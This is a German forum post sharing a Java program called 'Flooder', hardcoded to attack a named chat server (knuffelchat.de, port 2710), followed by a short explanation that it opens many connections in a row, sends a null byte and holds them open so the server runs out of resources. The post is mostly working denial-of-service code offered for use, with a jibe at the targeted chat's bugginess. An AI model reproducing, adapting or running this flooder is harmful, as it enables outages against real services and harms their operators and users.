Haben glück, habs noch bei meinen Backups gefunden :-P
Hier:
|
Java-Quelltext
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
|
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Flooder {
/**
* @author Blizzard
*/
public static void main(String[] args) {
flooding("knuffelchat.de", 2710);
}
public static void flooding(String host, int port) {
int instances = 0;
while(true){
try {
System.out.println("new flooding");
Socket socket = new Socket(host, port);
OutputStream out = socket.getOutputStream();
InputStream in = socket.getInputStream();
while(true) {
byte[] len = new byte[] { (byte) 0 };
out.write(len);
int length = in.available();
final byte[] bytes = new byte[(int) length];
out.write(bytes);
System.out.println(in.read(bytes, 0, bytes.length));
}
} catch (IOException e) {
System.out.println("ERR " + e.getMessage());
}
instances++;
if(instances >= 500) {
break;
}
}
}
}
|
Ist eig recht einfach.. Eine While-Schleife führt X Connections direkt nacheinander aus.. Es wird nen NULL-Byte gesendet, damit der Chatserver ein Connect weiterverarbeitet. Da nix weiteres mehr gesendet wird, die Connection aber aufgehalten wird, gehen dem Server schnell die Ressourcen flöten

Besonders wenn der Chat nur für wenige Leute ausgelegt ist, besonders wenn der so verbuggt ist, wie der von Witti xD